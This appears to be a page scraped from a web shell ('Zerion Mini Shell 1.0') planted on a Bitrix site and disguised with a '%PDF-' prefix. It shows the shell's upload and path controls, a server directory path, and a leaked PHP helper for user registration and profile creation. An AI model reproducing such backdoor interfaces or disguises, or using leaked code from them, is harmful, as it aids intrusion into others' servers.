%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/home/bitrix/www/local/php_interface/include/
Upload File :
Create Path :
Current File : //proc/self/root/home/bitrix/www/local/php_interface/include/user_register_helper.php

<?php

class P4UserRegisterHelper
{
    public function OnBeforeUserRegisterHandler(&$arFields)
    {
        if (strlen($arFields['CONFIRM_CODE']) > 0) {
            $arFields['CONFIRM_CODE'] = generate_confirm_code(5);
        }
    }

    public static function createProfile($arUser, &$el, $section = 'models')
    {
        $fullName = trim($arUser['NAME']).' '.trim($arUser['LAST_NAME']);
        $trans = CUtil::translit($fullName, 'ru');

        $code = $trans;
        $idx = 0;

        while (true) { // Проверяет уникальность ссылки и генерирует циферки
            $res = CIBlockElement::GetList(array(), array('IBLOCK_ID' => IBLOCK_PROFILE_ID, 'CODE' => $trans));
            if (!$res->GetNext()) {
                break;
            }
            ++$idx;
            $trans = $code.$idx;
        }

        $arFields = array(
            'NAME' => $fullName,
            'IBLOCK_ID' => IBLOCK_PROFILE_ID,
            'IBLOCK_SECTION_ID' => 7,
            'CODE' => $trans,
            'PROPERTY_VALUES' => array(
                'ACCOUNT' => $arUser['ID'],
                'TYPE_P4' => ProfileTypeHelper::DEFAULT_ID_P4,
                'MODELTYPE' => 259,
                'LANGUAGES' => array(0 => array('VALUE' => 21579, 'DESCRIPTION' => 1)),
            ),
        );

        if ('models' != $section) {
            unset($arFields['PROPERTY_VALUES']['MODELTYPE']);

            $dbSection = CIBlockSection::GetList(array(), array('IBLOCK_ID' => 2, 'CODE' => 'photographers'));
            if ($arSection = $dbSection->Fetch()) {
                $arFields['IBLOCK_SECTION_ID'] = $arSection['ID'];
            } else {
                $arFields['IBLOCK_SECTION_ID'] = 486;
            }
        }

        $el = new CIBlockElement();

        $profileID = $el->Add($arFields);

        if (false !== $profileID) {
            ProfileTypeHelper::getPortfolioPolaroid($arUser['ID']);

            CModule::IncludeModule('bizproc');
            $bpID = 28; // БП снятия с публикации
            $arErrorsTmp = array();
            CBPDocument::StartWorkflow($bpID, array('iblock', 'CIBlockDocument', $profileID), array(), $arErrorsTmp);
            if (count($arErrorsTmp) > 0) {
                AddMessage2Log("Ошибка запуска БП #{$bpID}\n".print_r($arErrorsTmp, true));
            }
        }

        return $profileID;
    }
}

Zerion Mini Shell 1.0